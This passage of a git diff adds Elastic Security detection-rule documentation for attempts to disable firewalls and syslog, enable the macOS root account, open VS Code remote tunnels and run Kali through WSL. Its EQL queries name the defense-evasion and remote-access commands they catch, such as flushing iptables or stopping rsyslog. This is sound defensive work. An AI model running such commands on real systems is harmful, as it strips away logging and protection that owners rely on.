to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Disable IPTables or Firewall* + + +Firewalls like IPTables on Linux systems are crucial for controlling network traffic and protecting against unauthorized access. Adversaries may attempt to disable these firewalls to bypass security measures and facilitate malicious activities. The detection rule identifies suspicious processes that attempt to disable or stop firewall services, such as using commands to flush IPTables rules or halt firewall services, indicating potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details, including process.name and process.args, to confirm if the command was intended to disable or stop firewall services. +- Check the process.parent.args to understand the context in which the suspicious process was executed, especially if it was triggered by a parent process with arguments like "force-stop". +- Investigate the user account associated with the process execution to determine if it was an authorized user or potentially compromised. +- Examine the host's recent activity logs for any other suspicious behavior or anomalies around the time of the alert, focusing on event.type "start" and event.action "exec" or "exec_event". +- Assess the network traffic logs to identify any unusual inbound or outbound connections that might have occurred after the firewall was disabled or stopped. +- Correlate this event with other alerts or incidents involving the same host or user to identify potential patterns or coordinated attack attempts. + + +*False positive analysis* + + +- Routine system maintenance or updates may trigger the rule when legitimate processes like systemctl or service are used to stop or restart firewall services. To manage this, create exceptions for known maintenance scripts or scheduled tasks that perform these actions. +- Network troubleshooting activities often involve temporarily disabling firewalls to diagnose connectivity issues. Users can exclude specific user accounts or IP addresses associated with network administrators from triggering the rule during these activities. +- Automated deployment scripts that configure or reconfigure firewall settings might match the rule's criteria. Identify and whitelist these scripts by their process names or execution paths to prevent false positives. +- Security software updates or installations may require temporary firewall adjustments, which could be flagged by the rule. Consider excluding processes associated with trusted security software vendors during update windows. +- Development or testing environments often have different security requirements, leading to frequent firewall changes. Implement environment-specific exceptions to avoid false positives in these contexts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert, such as those attempting to disable or stop firewall services, to halt ongoing malicious activities. +- Review and restore the firewall configurations to their last known good state to ensure that network traffic is properly controlled and unauthorized access is blocked. +- Conduct a thorough examination of the affected system for any signs of compromise or additional malicious activity, focusing on logs and system changes around the time of the alert. +- Escalate the incident to the security operations team for further analysis and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar activities across the network to detect and respond to future attempts to disable firewall services promptly. +- Review and update firewall policies and configurations to enhance security measures and prevent similar defense evasion tactics in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +( + /* disable FW */ + ( + (process.name == "ufw" and process.args == "disable") or + (process.name == "iptables" and process.args in ("-F", "--flush", "-X", "--delete-chain") and process.args_count == 2) or + (process.name in ("iptables", "ip6tables") and process.parent.args == "force-stop") + ) or + + /* stop FW service */ + ( + ( + (process.name == "service" and process.args == "stop") or + (process.name == "chkconfig" and process.args == "off") or + (process.name == "update-rc.d" and process.args in ("remove", "disable")) or + (process.name == "systemctl" and process.args in ("disable", "stop", "kill", "mask")) + ) and + process.args in ("firewalld", "ip6tables", "iptables", "firewalld.service", "ip6tables.service", "iptables.service") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-syslog-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-syslog-service.asciidoc new file mode 100644 index 0000000000..7d2ccd877c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-disable-syslog-service.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-attempt-to-disable-syslog-service]] +=== Attempt to Disable Syslog Service + +Syslog is a critical component in Linux environments, responsible for logging system events and activities. Adversaries may attempt to disable the syslog service to disrupt event logging and evade detection by security controls. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Disable Syslog Service* + + +Syslog is a critical component in Linux environments, responsible for logging system events and activities. Adversaries may target syslog to disable logging, thereby evading detection and obscuring their malicious actions. The detection rule identifies attempts to stop or disable syslog services by monitoring specific process actions and arguments, flagging suspicious commands that could indicate an attempt to impair logging defenses. + + +*Possible investigation steps* + + +- Review the process details to identify the user account associated with the command execution, focusing on the process.name and process.args fields to determine if the action was legitimate or suspicious. +- Check the system's recent login history and user activity to identify any unauthorized access attempts or anomalies around the time the syslog service was targeted. +- Investigate the parent process of the flagged command to understand the context of its execution and determine if it was initiated by a legitimate application or script. +- Examine other logs and alerts from the same host around the time of the event to identify any correlated suspicious activities or patterns that might indicate a broader attack. +- Assess the system for any signs of compromise, such as unexpected changes in configuration files, unauthorized software installations, or unusual network connections, to determine if the attempt to disable syslog is part of a larger attack. + + +*False positive analysis* + + +- Routine maintenance activities may trigger this rule, such as scheduled service restarts or system updates. To manage this, create exceptions for known maintenance windows or specific administrative accounts performing these tasks. +- Automated scripts or configuration management tools like Ansible or Puppet might stop or disable syslog services as part of their operations. Identify these scripts and whitelist their execution paths or associated user accounts. +- Testing environments often simulate service disruptions, including syslog, for resilience testing. Exclude these environments from the rule or adjust the rule to ignore specific test-related processes. +- Some legitimate software installations or updates may require stopping syslog services temporarily. Monitor installation logs and exclude these processes if they are verified as non-threatening. +- In environments with multiple syslog implementations, ensure that the rule is not overly broad by refining the process arguments to match only the specific syslog services in use. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert, specifically those attempting to stop or disable syslog services, to restore normal logging functionality. +- Restart the syslog service on the affected system to ensure that logging is re-enabled and operational, using commands like `systemctl start syslog` or `service syslog start`. +- Conduct a thorough review of recent logs, if available, to identify any additional suspicious activities or indicators of compromise that may have occurred prior to the syslog service being disabled. +- Escalate the incident to the security operations team for further investigation and to determine if the attack is part of a larger campaign or if other systems are affected. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to disable logging services, using enhanced logging and alerting mechanisms. +- Review and update access controls and permissions to ensure that only authorized personnel have the ability to modify or stop critical services like syslog, reducing the risk of future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and ( + (process.name == "service" and process.args == "stop") or + (process.name == "chkconfig" and process.args == "off") or + (process.name == "update-rc.d" and process.args in ("remove", "disable")) or + (process.name == "systemctl" and process.args in ("disable", "stop", "kill", "mask")) +) and +process.args in ("syslog", "rsyslog", "syslog-ng", "syslog.service", "rsyslog.service", "syslog-ng.service") and +not ( + process.parent.name == "rsyslog-rotate" or + process.args == "HUP" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-enable-the-root-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-enable-the-root-account.asciidoc new file mode 100644 index 0000000000..fce7a7826f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-enable-the-root-account.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-34-attempt-to-enable-the-root-account]] +=== Attempt to Enable the Root Account + +Identifies attempts to enable the root account using the dsenableroot command. This command may be abused by adversaries for persistence, as the root account is disabled by default. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://ss64.com/osx/dsenableroot.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Enable the Root Account* + + +In macOS environments, the root account is typically disabled to enhance security. However, adversaries may attempt to enable it using the `dsenableroot` command to gain persistent, elevated access. The detection rule identifies such attempts by monitoring process events for the execution of `dsenableroot` without the disable flag, indicating potential misuse for persistence. + + +*Possible investigation steps* + + +- Review the process event logs to confirm the execution of the dsenableroot command without the disable flag, as indicated by the absence of process.args:"-d". +- Identify the user account associated with the process event to determine if the action was initiated by a legitimate user or a potential adversary. +- Check for any recent changes in user account permissions or configurations that might indicate unauthorized access or privilege escalation. +- Investigate any other suspicious activities or process executions around the same time as the dsenableroot command to identify potential lateral movement or further persistence mechanisms. +- Correlate the event with other security alerts or logs from the same host to assess if this is part of a broader attack campaign. + + +*False positive analysis* + + +- System administrators may legitimately enable the root account for maintenance or troubleshooting. To handle this, create exceptions for known administrator accounts or specific maintenance windows. +- Automated scripts or management tools might use the dsenableroot command as part of their operations. Identify these tools and exclude their process signatures from triggering alerts. +- Educational or testing environments may require enabling the root account for instructional purposes. Implement exclusions for these environments by tagging relevant systems or user accounts. +- Ensure that any exclusion rules are regularly reviewed and updated to reflect changes in administrative practices or tool usage to maintain security integrity. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent any potential lateral movement by the adversary. +- Terminate any unauthorized processes associated with the `dsenableroot` command to halt further misuse of elevated privileges. +- Review system logs and user activity to identify any unauthorized changes or access that occurred after the root account was enabled. +- Reset the root account password and disable the root account to prevent further unauthorized access. +- Conduct a thorough scan of the system for any additional signs of compromise or persistence mechanisms that may have been installed. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Implement additional monitoring and alerting for any future attempts to enable the root account, ensuring rapid detection and response. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "dsenableroot" and + not process.args == "-d" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Local Accounts +** ID: T1078.003 +** Reference URL: https://attack.mitre.org/techniques/T1078/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-establish-vscode-remote-tunnel.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-establish-vscode-remote-tunnel.asciidoc new file mode 100644 index 0000000000..22fe7da043 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-establish-vscode-remote-tunnel.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-attempt-to-establish-vscode-remote-tunnel]] +=== Attempt to Establish VScode Remote Tunnel + +Detects the execution of the VScode portable binary with the tunnel command line option indicating an attempt to establish a remote tunnel session to Github or a remote VScode instance. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://badoption.eu/blog/2023/01/31/code_c2.html +* https://code.visualstudio.com/docs/remote/tunnels + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Protocol Tunneling +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Establish VScode Remote Tunnel* + + +Visual Studio Code (VScode) offers a remote tunnel feature enabling developers to connect to remote environments seamlessly. While beneficial for legitimate remote development, adversaries can exploit this to establish unauthorized access or control over systems. The detection rule identifies suspicious use of VScode's tunnel command, focusing on specific command-line arguments and process behaviors, to flag potential misuse indicative of command and control activities. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of the "tunnel" argument in the command line, which indicates an attempt to establish a remote tunnel session. +- Check the parent process name to ensure it is not "Code.exe" when the process name is "code-tunnel.exe" with the "status" argument, as this is an exception in the rule. +- Investigate the origin of the process by examining the user account and machine from which the process was initiated to determine if it aligns with expected usage patterns. +- Analyze network logs to identify any unusual or unauthorized connections to GitHub or remote VScode instances that may suggest malicious activity. +- Correlate the event with other security alerts or logs from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to gather additional context on the activity. +- Assess the risk and impact by determining if the system or user account has been involved in previous suspicious activities or if there are any indicators of compromise. + + +*False positive analysis* + + +- Legitimate remote development activities using VScode's tunnel feature may trigger the rule. Users can create exceptions for known developer machines or specific user accounts frequently using this feature for authorized purposes. +- Automated scripts or deployment tools that utilize VScode's remote tunnel for legitimate operations might be flagged. Consider excluding these processes by identifying their unique command-line arguments or parent processes. +- Scheduled tasks or system maintenance activities that involve VScode's remote capabilities could be misidentified as threats. Review and whitelist these tasks by their specific execution times or associated service accounts. +- Development environments that frequently update or test VScode extensions might inadvertently match the rule's criteria. Exclude these environments by setting up exceptions based on their network segments or IP addresses. +- Training or demonstration sessions using VScode's remote features for educational purposes can be mistaken for suspicious activity. Implement exclusions for these sessions by tagging them with specific event identifiers or user roles. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious VScode processes identified by the detection rule to halt potential command and control activities. +- Conduct a thorough review of system logs and process histories to identify any additional indicators of compromise or lateral movement attempts. +- Reset credentials and access tokens associated with the affected system and any connected services to mitigate unauthorized access. +- Restore the system from a known good backup if any unauthorized changes or malware are detected. +- Implement network segmentation to limit the ability of similar threats to spread across the environment. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.args : "tunnel" and + (process.args : "--accept-server-license-terms" or + process.name : "code*.exe" or + ?process.code_signature.subject_name : "Microsoft Corporation" or + process.executable : ("?:\\ProgramData\\*", "?:\\Users\\Public\\*", "?:\\windows\\debug\\*", + "\\Device\\HarddiskVolume*\\Users\\Public\\*", "\\Device\\HarddiskVolume*\\ProgramData\\*", "\\Device\\HarddiskVolume*\\windows\\debug\\*")) and + not (process.name == "code-tunnel.exe" and process.args == "status" and process.parent.name == "Code.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-install-or-run-kali-linux-via-wsl.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-install-or-run-kali-linux-via-wsl.asciidoc new file mode 100644 index 0000000000..588df26b7e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-attempt-to-install-or-run-kali-linux-via-wsl.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-attempt-to-install-or-run-kali-linux-via-wsl]] +=== Attempt to Install or Run Kali Linux via WSL + +Detects attempts to install or use Kali Linux via Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/windows/wsl/basic-commands +* https://learn.microsoft.com/en-us/windows/wsl/wsl-config + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 218 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Attempt to Install or Run Kali Linux via WSL* + + + +*Possible investigation steps* + + +- What Kali/WSL behavior path did the alert prove? + - Focus: alert-local `process.name`, `process.executable`, and `process.args`, separating "wsl.exe" Kali install or distro arguments from direct Kali package-path execution. + - Hint: do not require install flags before escalating; an installed Kali distro may appear only as direct package-path launcher execution. + - Implication: escalate when "wsl.exe" selects or installs Kali with "-d", "--distribution", "-i", or "--install", or when `process.executable` runs from KaliLinux package or WindowsApps paths without a confirmed endpoint exception; lower suspicion only when exact user, host, parent, and command path match the same previously confirmed Kali/WSL workflow. +- Is the launcher identity and parent chain credible, or does it suggest masquerading or hands-on abuse? + - Focus: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.parent.command_line`. + - Implication: escalate when unsigned, renamed, running from a user-writable non-package path, or launched by Office, browser, script, or unexpected remote-admin tooling; lower suspicion when signed Microsoft or Store WSL identity and parent workflow both fit recognized Kali/WSL use. Identity alone does not clear the behavior. +- Which account and Windows session started Kali or "wsl.exe", and does that fit the endpoint cohort? + - Focus: `user.id`, `user.name`, `host.id`, and `process.Ext.session_info.logon_type`. + - Implication: escalate when a non-admin user, service account, or remote/service logon starts Kali on a workstation or server cohort that does not normally run WSL; lower suspicion when account, logon type, and endpoint cohort align with a recognized developer, lab, training, or image-build pattern. +- Did process telemetry show WSL lifecycle or configuration intent around the alert? + - Focus: surrounding process starts on `host.id`, using `process.Ext.ancestry`, `process.command_line`, and `process.parent.command_line`. + - Hint: prefer `host.id` plus `process.entity_id`; if unavailable, use `host.id`, `process.pid`, and a tight alert-time window because PID reuse can mislead process recovery. !{investigate{"description":"","label":"Same-parent process starts on this host","providers":[[{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.parent.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"WSL lifecycle commands on this host","providers":[[{"excluded":false,"field":"process.name","queryType":"phrase","value":"wsl.exe","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when `process.command_line` shows WSL install, shutdown, terminate, configuration editing, or stop/relaunch in the same lineage; lower suspicion when surrounding starts show only one previously confirmed distro launch and no lifecycle or configuration intent. +- Did Kali/WSL lead to Windows-visible follow-on execution? + - Focus: child or descendant starts tied by `process.parent.entity_id` or `process.Ext.ancestry` to the alert process, reviewing `process.executable` and `process.command_line`. + - Hint: direct child starts are high-confidence pivots; manually expand ancestry when WSL launches through intermediate hosts. !{investigate{"description":"","label":"Child process starts from the Kali or WSL 